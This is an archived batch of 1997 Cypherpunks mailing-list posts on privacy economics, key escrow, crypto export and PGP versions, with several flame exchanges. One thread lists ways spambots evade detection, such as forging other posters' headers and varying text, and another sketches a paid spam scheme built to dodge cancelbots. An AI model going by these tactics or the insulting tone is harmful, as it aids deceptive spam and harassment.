> stringent control must be from where you work or something. Oops. Another
> ad hominem. So sorry. They must be in the air this evening.

That nerve must really be throbbing.  Sorry.

> > Obviously I can't "prove" markets are not efficient -- that's an
> > empirical matter, not a mathematical matter.  However, no one can
> > prove they are efficient, either (that's why it's the "Efficient
> > Market *Hypothesis*").  There are many other examples of persistent
> > inefficiencies in markets,  the presidential election year cycle
> > being the first to come to mind.
> 
> Right. And the increasing American importation of bananas throughout the
> 20th century caused an increase in suicide. Another informal fallacy.
> You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual
> exceptions to the efficient market hypothesis, fools' markets being the
> most famous example.

You don't like my example, but agree to my point.  I like that.  So 
now we both agree that "there are actual exceptions to the efficient 
market hypothesis"  (your words).

> However, the crash of any given fool's market is
> completely unpredictable, and, as such, is as efficient a price as you're
> going to get, paradoxically. Which was my point.

You, unfortunately, misunderstand your own example.  It actually is a 
paradox. 

> > [interesting but besides the point argument deleted]
> 
> Actually, it was the *whole* point, but you didn't get it. Another one of
> those "security analyst" notions, which kind of blew by you, in what seems
> to be a rather breezy evening in your neck of the woods...

Plenty of hot air around, as you speak.

> > This inability of a hierarchy to handle as much information or resources as
> > a geodesic is, of course, a major problem with key escrow,
>
> No, it's a theoretical problem that has no impact on practical key recovery
> systems.
> 
> Okay. I'll tell you this one, for fun, too, since you don't get *it*
> either. In a geodesic network, a single node can not possibly process all
> the information in the network. It chokes, and the network routes around
> it. 
>
> You can bet that any key escrow agent would be innundated with
> surviellance requests 

No, I wouldn't bet that.  Even a lame theory a looks good against a
braindead strawman. 

[rest of braindead strawman deleted]

> > "Whip me! Beat me! Savage me in Cypherpunks!"
> 
> Just lay there and take it, slave. You know you love it, or you wouldn't be
> here.

Actually the most entertaining thing is watching blowhards at work. 
And one thing for sure, Bob -- for all your failings, you *do* know how
to blow. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Tue, 8 Apr 1997 02:15:12 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: some arguments for privacy
Message-ID: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple of weeks ago I asked for some arguments in favor of privacy.  I
pointed out that one person's increased privacy exerts negative
externalities on others by reducing their available information.  I wanted
to know why more privacy might be beneficial to society despite this
consideration.  I didn't really get the answers I wanted, probably because
I wasn't clear about the kind of arguments I had in mind.  Anyway, here I
give some arguments of my own, which I hope offer new perspectives on this
issue. 

Privacy as Insurance

Suppose you are looking for a job.  It seems reasonable to argue that if
you are a better than average worker, you would be able to get a better
offer if you had less privacy because the potential employers would be
better able to distinguish your abilities from your past history.  On the
other hand less privacy would hurt you if you are a worse than average
worker.  If you don't yet know your own abilities, you would prefer more
privacy as an insurance against your own potential deficiencies.  If that
doesn't seem realistic, consider how the argument might apply to your
children.  This line of reasoning also explains why people are troubled by
genetic screening.  Thus privacy might increase social welfare by
providing a sort of social insurance.

Privacy as Restriction on Signaling

"Signaling" is a term used by game theorists to describe the use of
publicly observable actions to provide information to others about one's
private attributes.  The best example comes from biology, where male
peacocks grow extravagant tails to signal their genetic fitness to
females.  Clearly signals must be costly, otherwise they wouldn't be
convincing. They are often also wasteful, as in the peacock example.  (As
a side note, the deposit solution to the junk mail problem I talked about
some days ago is an example of non-wasteful signaling.)  Privacy reduces
the range of actions one can use as signals.  This would increase social
welfare if the wastefulness of the signals exceed the benefit they provide
in the form of useful information.  Consider a possible future where every
room in every house is wired with a camera that continously broadcasts to
the Internet.  Life would certainly be very uncomfortable in this future,
as every trivial action must be carefully considered in order to preserve
one's reputation.

Possible Benefit of Non-Privacy Limited

This is more of an argument for privacy technology, rather than privacy
per se.  Suppose that privacy-invading technology becomes much cheaper
than privacy-enhancing technology.  Given the arguments above it seems
inevitible that governments will pass laws to restrict the distribution of
certain kinds of information about individuals.  But of course this will
not keep the information out of the hands of those governments themselves
and other resourceful organizations.  Thus any possible benefit of
decreased privacy in the form of market efficiency would be severely
limited since only a few market players would have improved information.
This benefit would be easily outweighted by the harm in the form of
governments' increased coercive power.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 8 Apr 1997 02:23:49 -0700 (PDT)
To: toto@sk.sympatico.ca
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com>
Message-ID: <19970408022103.33787@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote:
> Kent Crispin wrote:
> > 
> > I think it is fairly clear that AP is a Chimera.  The problem with
> > lurid fantasies like it, though, is that they give the press and
> > politicians convenient targets.  In fact, a case could be made for
> > considering Jim Bell as a NSA shill.  Certainly he is a perfect foil
> > for a statist agenda.
> 
>   So, now Kent is volunteering to testify to the fact that Jim Bell is
> an NSA shill. (and still seems ashamed of his .gov address)

Just so you know, Toto, .gov informs me it doesn't want there to be
the slightest possibility of anyone thinking I am speaking for it.  

And the part about Jim Bell being an NSA shill? I am not volunteering
to testify to anything, but your are the *second* person to say
something about it, so it *must* be true.  And the part about the 
statist agenda?  That must be true too, since you quoted it.
	
>   I am waiting for a post from Kent that is sufficiently lucid that it
> can be replied to without drinking an extra bottle of Scotch to follow
> his twisted trail of logic.

You needed that extra bottle anyway.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 7 Apr 1997 23:40:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Sweden Netscape Intranet
Message-ID: <TCPSMTP.17.4.8.2.33.52.2780269260.1597988@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Now, how do we get all of these people to use PGP for their e-mail?

(Also interesting to note is the fact, that they'll use 128 bit
crypto, regardless of what the US gov thinks about it...:))

Ciao

Harka


 In> Sweden Gets Wired With Netscape (04/03/97; 8:30 p.m. EST) By
 In> Douglas Hayward , TechWire

 In> STOCKHOLM -- Netscape is negotiating an innovative deal with
 In> the Swedish national postal service aimed at creating a
 In> national intranet covering the whole of Sweden.

 In> Sweden Post plans to use Netscape's Communicator browser and
 In> SuiteSpot server software to offer Swedish households and
 In> small businesses intranet and Internet access services,
 In> according to observers familiar with the proposed deal, which
 In> is worth more than $10 million.

 In> The postal service would use the Netscape Directory Services
 In> product to create a single "white pages" facility covering all
 In> Swedish households wishing to join the scheme, which would
 In> potentially create a national intranet, observers said.

 In> All households joining the network would be given by Sweden
 In> Post electronic mailboxes and a copy of Netscape's
 In> Communicator browser software. The postal service would manage
 In> households' electronic mail services in a manner similar to
 In> the way it manages paper-based mail services. Sweden's total
 In> population is about 8.8 million people.

 In> The email addresses issued by Sweden Post would mimick the
 In> real-life address of each participating household. The goal is
 In> to issue more than 1 million email addresses by this summer,
 In> said Sweden Post spokesman Jan Andersson.

 In> "As far as I know, this is the first time a PTT has offered
 In> this kind of service," Andersson said.

 In> For households without networked PCs, Sweden Post would
 In> translate the incoming email and send it as separate faxes or
 In> print out the messages and send them through the paper-based
 In> mail system, he said.

 In> In addition to email, services offered to users will include
 In> electronic shopping, Web access, Web publishing facilities,
 In> and the ability to set up secure electronic trading outlets.
 In> The service will use 128-bit encryption software and digital
 In> certificates to ensure security.

 In> The idea that each assigned email address would be similar to
 In> the recipient's street address is troubling, said Ian Walden,
 In> a specialist in IT law for the London-based law firm of Tarlo
 In> Lyons. The plan may even violate the European data protection
 In> directive, a 1995 law that is in effect in all 15 nations in
 In> the European Union, he said.

 In> "Is it necessary to make a direct link in the email address to
 In> the physical location? I think it's dangerous," Walden said,
 In> "and I would warn Sweden Post to reconsider such an approach."

 In> Netscape will supply Sweden Post with browser and server
 In> software for an initial fee of roughly $10 million under the
 In> proposed deal, which was agreed in principle early March but
 In> has yet to be finalized. Sweden Post already uses Netscape's
 In> electronic publishing and merchant software in its Web-based
 In> electronic shopping mall -- known as Torget -- under a deal
 In> signed last year.

 In> Sweden Post, which recently lost its monopoly of mail delivery
 In> services in parts of Sweden, wants to become a major player in
 In> the Internet services market in order to compensate for any
 In> decline in its traditional business as a result of the growth
 In> of electronic communications.

 In> "Sweden Post realizes that either it gets into the electronic
 In> services market in a big way, or it loses a lot of business to
 In> Internet service providers. And for Netscape, deals like this
 In> with utilities are a perfect way to overcome Microsoft's
 In> greater marketing power among ISPs," said the observer.
 In> "Netscape believes that if it can to sign up the utilities, it
 In> won't have to worry too much about the ISPs in Europe."

 In> The initial licensing fee would not include the cost of future
 In> software upgrades nor the cost of royalty fees for copies of
 In> browser software distributed to households by Sweden Post.
 In> Lennart Gren, Netscape's director for the Nordic region
 In> including Sweden, declined to confirm that the deal had been
 In> agreed.

 In> Netscape has been targeting utilities and telcos in Europe for
 In> some time. In February, the German national telco, Deutsche
 In> Telekom, said it would promote Communicator as its browser of
 In> choice. The telco added that it would use Netscape's intranet
 In> suite as its product of choice when building intranets for
 In> corporate customers.

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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Version: 2.6.2

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=txDk
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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 8 Apr 1997 03:59:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Denning paper on crypto, EU mandatory GAK
Message-ID: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Apologies if this has been mentioned before, but I ran across a new (new to
me; it's dated 2/19/97) paper by Dorothy Denning re crypto and crypto
policy/legislation. Historically, her work has proven to precede/predict
policy shifts on the part of the US government.

The paper has little information which is new to a reader of cpunks; but I
did note one ominous paragraph referring to the role of "TTPs" in Europe:

>>>>
The European Commission has been preparing a proposal to establish a
European-wide 
network of Trusted Third Parties (ETS) that would be accredited to offer
services that support digital signatures, notarization, confidentiality, and
data integrity.
The trust centers, which would operate under the control of member nations,
would 
<<<<
                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>>>
hold keys that would enable them to assist the owners of data with emergency
decryption or supply keys to their national authorities on production of a
legal 
<<<<
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>>>
warrant. The proposal is expected to be adopted by the Commission, with
discussions provisionally scheduled in the Council of the European Union for
the first half of 1997 [22]
<<<<

Also see <http://www.seven77.demon.co.uk/krisis/>, which appears to be the
home page for a pilot project creating a software and political/corporate
infrastructure for Europe-wide GAK. Yow. 

Also of interest is her cite
<http://guru.cosc.georgetown.edu/~denning/crypto/Trends.html#29> to John
Young's archived version of the 12/30/96 revision of the EARs instead of the
BXA's.

The paper itself is at
<http://guru.cosc.georgetown.edu/~denning/crypto/Trends.html>; like it or
not, it may prove to be a useful insight into what's coming in 1997/1998. 
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1wznAc25Un1QwTPTAjQypS7vS+qlMGRUPIO2uwzCi6HuK84c2Tf9Cw==
=qR1F
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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 8 Apr 1997 04:01:25 -0700 (PDT)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 02:15 AM 4/8/97 -0700, Wei Dai wrote:

>Suppose you are looking for a job.  It seems reasonable to argue that if
>you are a better than average worker, you would be able to get a better
>offer if you had less privacy because the potential employers would be
>better able to distinguish your abilities from your past history.  On the
>other hand less privacy would hurt you if you are a worse than average
>worker.

One of the problems with talking about privacy is that people use the word to
mean many different things. Apropos to the current discussion, I see two
different uses co-existing in a non-useful way:

1.	Privacy as a lack of information
2.	Privacy as a right to control the flow of information

where the second usage refers to the ability to decide who ends up with the
first usage. I'm assuming that lack of information can be characterized as
risk, and that risk can be characterized as negative value. The Coase Theorem
would seem to suggest that the second usage is (may be) superfluous, because
the [lack of] information/risk will be allocated to the party which values it
most. However, the right discussed in (2) is still meaningful, because it is
(and will) be used as a bargaining chip to gain or lose other things of
value.

Also, it's useful to think about whether or not there are (or should be) some
things we are unwilling to do in the name of efficiency. For example, we
might consider it "efficient" if people were allowed to sell their children;
but most societies have chosen to consider markets for children unacceptable
on moral grounds, apart from concerns about the efficient distribution of
children. (I've heard that (Richard?) Posner, an outspoken federal appellate
judge, wrote a paper discussing markets for children as a thought exercise;
and that the political fallout from that paper (some 10-15 years later) means
that he's got no real chance of a Supreme Court seat, even if he's otherwise
qualified. Perhaps this message means I'll never get there, either. :(

A society might choose to place privacy on the list of "things for which
there may not be a market"; but adherents to the strong version of
cryptoanarchy will likely predict that a market will exist, anyway. (I
believe there's currently a small global market for children; but they're
still more difficult to buy than, say, cigarettes. And slightly less
difficult to buy than, say, a gun in Berkeley.) 

But (for me) the real reason that privacy is good (even if it's
"inefficient") is that privacy is inherently related to control, and to
freedom. It's very difficult to influence or alter the behavior of a person
unless you can monitor their behavior. If we make it difficult (or
impossible) to learn some things about people, we effectively create zones of
autonomy related to those zones of privacy.

I believe that this is the somewhat elusive link between the various
constitutional rulings on "privacy" grounds, discussing abortion and
contraception and childraising and interracial marriage and private
possession of pornography and gay rights (although the last has failed, so
far.) Those decisions paint an invisible line between "private" and "public"
spheres, whereby the state cannot or should not interfere with personal
choices; and I believe that the close correspondence between those lines and
traditional notions of "intimacy" is not coincidental. 

I believe that a hypothetical privacy-free state would be "efficient" in the
same way that a hypothetical centrally-planned economy is "efficient" - e.g.,
on paper, it sounds good. All of the right things will happen at just the
right times, risks (or economic goods) will be allocated to those who deserve
them, etc. In practice, centrally planned economies have proven to suffer
from human flaws - greed, lust for power, shortsightedness, poor judgement,
and so forth. The initial allocation of all (or substantially all) economic
resources to one economic actor (the state) prevents the operation of the
Coase Theorem and its redistribution of rights/values, because the other
actors (individuals) have nothing to offer in return; and because it is not
possible for the other actors to legitimately retain those rights or value. A
society which initially distributed information rights to the state - or
which refused to recognize them as rights - would, I believe, create a
similar lack of freedom and autonomy. 

It's difficult to discuss privacy in economic terms because we are accustomed
to valuing one side of the choice - risk, or lack of information - in
quantitative terms, but we are not accustomed to valuing the other side -
freedom, or lack of opportunity to exercise control - in quantitative terms.
(I don't think that the other party's valuation of risk is a good measure for
the value of the freedom. But this is turning into a pretty long message
which is somewhat more theoretical than may be of interest to many list
members. So I'll go to bed and see if people feel like continuing in this
vein.) 


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 05:36:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: your mail
In-Reply-To: <199704080708.AAA03857@netcom21.netcom.com>
Message-ID: <oVcu5D87w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


mpd@netcom.com (Mike Duvos) writes:

> Graham-John writes:
>
> > On Mon, 7 Apr 1997, Mix wrote:
>
> > I think Vulis needs each of us to send ten copies of this back to him.
>
> [Silly Timmy May insult deleted]
>
> You do realize you are doubling the amount of noise by responding to
> each and every one of these posts, don't you?

Perhaps he doesn't.  A prefrontal lobotomy does that to people.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 05:40:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704080635.BAA28472@manifold.algebra.com>
Message-ID: <s8cu5D88w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Hi,
>
> As we all know, there exist certain programs, called "spambots", whose
> task is to post various messages to many newsgroups simultaneously.
>
> Besides their posting functionality, certain spambot programs take
> special care to make their spams undetectable by anti-spambots. In
> particular, they can be programmed to modify certain fields or the
> message text itself in such a way that these messages would not look
> unique, but would still carry the same content.
>
> We can generalize the things that spambots might do and suggest that
> a general spambot would do the following to avoid spam detection:
>
> 1) modify all header fields, for example From: Subject:, etc, with
> each spam posting.
> 2) Follow up to other articles posted to newsgroups so that the
> spams would look like genuine unique messages to the readers, and
> defeat spam detectors

Right - if you're following up in a newsgroup, you can just re-use
the subject. You can also use the "From:" and other headers from
one of the regular posters.

> 3) Randomly altering the spam message proper such that blindly comparing

If you're following up, then rather than being random, you can tailor
you response based on the message you're following up on - kind of
like Eliza or better. :-)

> them would be futile. Such alterations may include interchanging certain
> synonymous words, adding spaces or punctuation, or simply changing line
> wrapping length.
> 4) Swapping paragraphs and phrases.
> 5) Add random headers, footers & fillings (like ASCII art)
>
> I am sure that the readers can come up with more examples.
>
> The task (or the problem) is:
>
> a) come up with a reasonable set of assumptions of what such a
> spambot would or could do
> b) Create an algorithm which would print Message-IDs of messages that
> have identical content, so that most if not all of the judgments of
> this algorithm would be correct, assuming that the spambot operates
> within the limits of a).
>
> A message can be thought of as a sequence of words, phrases and
> paragraphs, as well as a set of header lines.
>
> Path: header field may be specially treated.

I don't think it's possible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 8 Apr 1997 08:25:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704081525.IAA31961@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/enriched

 Date: Mon, 7 Apr 1997 16:24:54 -0700
Subject: Re: Cuba and AP
To: cypherpunks@toad.com
From: nobody@huge.cajones.com (Huge Cajones Remailer)

On the date above TruthMonger (#7) stumbled about missed the point:

[SNIP THIS TRIPE]


>>>>
The stench in Cuba was so bad under the U.S. backed Batista regime
that Guerva and Castro were a breath of fresh air for the majority of 
Cuban people.
Despite years of harassment, invasion, and economic attack on Cuba
by the shameless 'free' countries <yuk,yuk> of the world, Castro is 
still a better option for the Cuban people than other options.

<<<<

Moreover, young #7, those older than you recall the _joy_
with which Castro, et al, were greeted by much of the US media
and a large segment of the seemingly informed public.
Only, I say only, when it became common knowledge that Castro
was backed by the commies did he become the villain.

Better the people suffer under bu$ine$$-supported Batista than
be ruled by a Red!

Believe it; I was there, whippersnapper!

TruthMonger (#23)   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 8 Apr 1997 05:38:50 -0700 (PDT)
To: cynthb@sonetis.com>
Subject: Re: Is Cynthia H. Brown "pissing up a rope"?
In-Reply-To: <199704080058.UAA21322@homer.iosphere.net>
Message-ID: <3.0.1.32.19970408083653.007db370@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:05 PM 4/7/97 -0600, Toto wrote:

|> Results pasted in from http://www.nbceurope.com/
|>                   85% said no...
|>                   while 15% said yes.

|  Is Cynthia H. Brown pissing up a rope?
|                  Toto said yes, 85 times.
|                  Cynthia said no, 15 times.
|
|  Not that I'm a troublemaker...

That's not what I'd call you.

Sounds like a typical Toto evening out with a lady.

Alec
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Christopher Blizzard <blizzard@appliedtheory.com>
Date: Tue, 8 Apr 1997 06:55:05 -0700 (PDT)
To: sergey@el.net
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>
Message-ID: <199704081254.IAA13618@odin.appliedtheory.com>
MIME-Version: 1.0
Content-Type: text/plain


In message <Pine.LNX.3.95.970403153051.3400K-100000@void.el.net>, Sergey Goldga
ber writes:
:
:Jim Bell's essay is, IMO, definately free speech.  And, as you can see from
:the IRS Inspection report, he was not charged with anything relating to the
:essay itself.  In fact, the raid happened a long time after he published
:the essay, and may truely be unrelated.
:

Of course, the papers only talk about this.  Anytime they get to use two
cool buzzwords like "Interet" and "Militia", they're happy.  They're even
happier when they get to use them in the same sentince.  It'll sell.

--Chris

------------
Christopher Blizzard
AppliedTheory Communications, Inc.
blizzard@appliedtheory.com
------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 09:14:57 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704080635.BAA28472@manifold.algebra.com>
Message-ID: <F2Lu5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


owner-cypherpunks@manifold.algebra.com writes:

> As we all know, there exist certain programs, called "spambots", whose
> task is to post various messages to many newsgroups simultaneously.
> 
> Besides their posting functionality, certain spambot programs take
> special care to make their spams undetectable by anti-spambots. In
> particular, they can be programmed to modify certain fields or the
> message text itself in such a way that these messages would not look
> unique, but would still carry the same content.

I just came up with yet another brilliant idea how to combine Usenet
marketing with e-cash. Suppose Alice runs an advertizing agency and gets
paid to publicize certain messages of commercial or political nature.

She sets up a Web page listing the catalog of regexps that she wishes to
publicize. Something like:

1. Visit.*teens.*http://www.xxxfoo.bar
2. Elect.*John M. Grubor.*sheriff
4. For a drooling good time.*900-555-5555
3. Drink Kaka Cola

and a price list for each regexp - say, $2 for posting this regexp in a
moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
not sure if cross-posts should be discounted. Assuming there are several
such Alices, the prices will be set by supply and demand.

Suppose Bob, in search of a few quick bucks, comes across Alice's site.
We'd have to think of a protocol, but Alice assigns Bob an id which he
must mention together with the regexps in order to get credit. Alice and
Bob enter a contract. Bob puts one or more of Alice's regexps in his
Usenet articles - most likely in the .signature. For example:

   From: bob
   Newsgroups: rec.sports.phishing,alt.fan.alice
   Message-ID: <123@bob.server>
   <something phishing-related>
   --
   Elect John M. Grubor sheriff!!!            Alice's ID# 123456
   I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola

Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
regexps that she is paid to promote. When she encounters Bob's article,
it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
the newsgroups, and credits Bob's account.

If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
then Bob gets paid again. If somehow an article contains the ID# of two
or more of Alice's agents, they split the fee.

Alice's contract can also specify that if a third party forges a cancel
within a week for Bob's Usenet article containing the regexp, then Alice
will pay nothing and let Bob sue the forger for the lost income. (This
may become moot as more and more ISPs ignore forged cancels.) This gives
Bob the insentive to spam intelligently - not to trigger any cancelbots
and not to have his plug pulled by his ISP.

Alice can also put some reasonable caps on the number of repetitions
because if Bob posts the same regexp 10,000 times, the marginal exposure
is less from Bob than from a newbie Carol. Again, if there are several
such Alices, the market will take care of negotiating such details.

Actually, this doesn't even need e-cash - Alice can pay regular $$$.
Hi Ross - if you're still on these lists, I think you'll like this.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 8 Apr 1997 03:14:14 -0700 (PDT)
To: Wei Dai <weidai@eskimo.com>
Subject: Re: some arguments for privacy
In-Reply-To: <Pine.SUN.3.96.970408020057.18485A-100000@eskimo.com>
Message-ID: <199704081014.MAA05816@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the most compelling consequences of strong privacy is
pseudonymity, i.e. the ability to conduct business and personal
affairs without allowing others to learn your physical identity or
location.  This is a very strong protection against extortion, 
kidnapping and all other kinds of physical violence.


(Its lesser cousin, anonymity, also protects again physical
violence, but it has limited usefulness in business and/or personal
affairs.)


(For example, if a business magnate wishes to manage a vast financial
empire while still allowing her children to grow up in a safe and
open environment, there is probably no better solution than that she
manage her vast financial empire pseudonymously, so that would-be
thugs will not know _who_ to kidnap in order to extort ransom.)


Perhaps Wei Dai should apply his sharp mind to analyzing the net
effect on society of _that_ phenomenon.


The benefit for the individual thus protected is clear, but, as the
Unmentionable Topic shows, it is arguable that the net effect on 
society (as it were) will be less than optimal.


Regards,

Zooko Journeyman

Disclaimers follow:  I am not a cypherpunk.  NOT speaking for 
DigiCash or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Tue, 8 Apr 1997 03:18:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] New International Version (fwd)
Message-ID: <199704081017.MAA02946@rzdspc82.informatik.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text


Forwarded message from Lutz Donnerhacke <lutz@iks-jena.de>:

On Tue, Apr 08, 1997 at 02:00:02AM +0200, Ulf Möller wrote:
> > The subject is somewhat misleading.  PGP 2.6.3in is a derivative of
> > PGP 2.6.3i, modified as to comply with the policy of the certification
> > authority run by Individual Network e.V. (IN e.V.).  Specificially, it
> > differentiates between signature and encryption keys, and implements
> > key expiry dates.
> 
> PGP4.5 does both of these things.  I wonder if their modifications are
> compatible with PGP Incs newer version.
> 
> It would be a pity for the versions to get out of sync and cause
> compatibility problems.

If PGP4.5 follows the PGFormat.Doc specifications, there will be no problem
despite ENCR/SIGN, which is not covered by the PGFormat.Doc.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 8 Apr 1997 07:51:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cryptography Export
Message-ID: <19970408124924.5846.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


  I export cryptography source code almost every single day.
  
  Does the government have a problem with that? Fuck them in
the ass!
  I can't believe that corporations pay legal experts huge
sums of money to receive advice telling them to bend over
and spread 'em for the government's bullshit legislation.

  I am not alone. My nephew regularly exports 'code' for
Pig-Latin, as a parody of my efforts to spread the use
of crypto. He says that they can take his Pig-Latin when
they pry it from his cold, dead, baby fingers.

  Cable companies regularly export encryption code when
they send out their signal-scrambling code to foreign
recipients.
  Can you think of other examples? Can you think of 
hundreds of similar examples? Think about it.

  If the government wants to prosecute me for exporting
encryption code, then they had best be prepared to 
prosecute _all_ exporters of every single item that
involves altering data that can be re-converted on 
the other end to render the output intelligible.
  If you think that I am taking this matter lightly,
then think again, because I have a legal opinion 
from an attorney who has been shoving the governments
dick back in their own face for half a century, and
he regards my potential defence as a cake-walk.

  I not only already have the paperwork set up to 
defy any potential restraining orders that may 
arise, but I have a judge that is fully prepared
to institute the necessary proceedings to validate
my right to do what hundreds or thousands of 
individuals and corporations are doing every single
day.
  If the government thinks that they can legislate
the thickness of condoms available for export, then
they had best think again. And if they think that 
they can require exported condoms to have holes in
them, then they are certainly living in fantasy
land.

  I am a self-confessed madman, but I am a madman
standing on legal precedents that are as solid as
the Rock of Gibralter. (Think about it.)

Potential Prudential Precedent <precedent@crackhouse.gov>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 8 Apr 1997 09:51:32 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Bot-generated insults
In-Reply-To: <uFgT5D77w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970408115823.14909A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 7 Apr 1997, Dr.Dimitri Vulis KOTM wrote:

> Ray Arachelian <sunder@brainlink.com> writes:
> 
> > It figures you wouldn't know any other language than BASIC, and nadly
>                                                                   ^^^??

Thanks for the correction of that typo, yes, that should be >badly< not 
nadly. :)

> > written basic at that.  I've seen better code written by chimpanzees.
> 
> If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
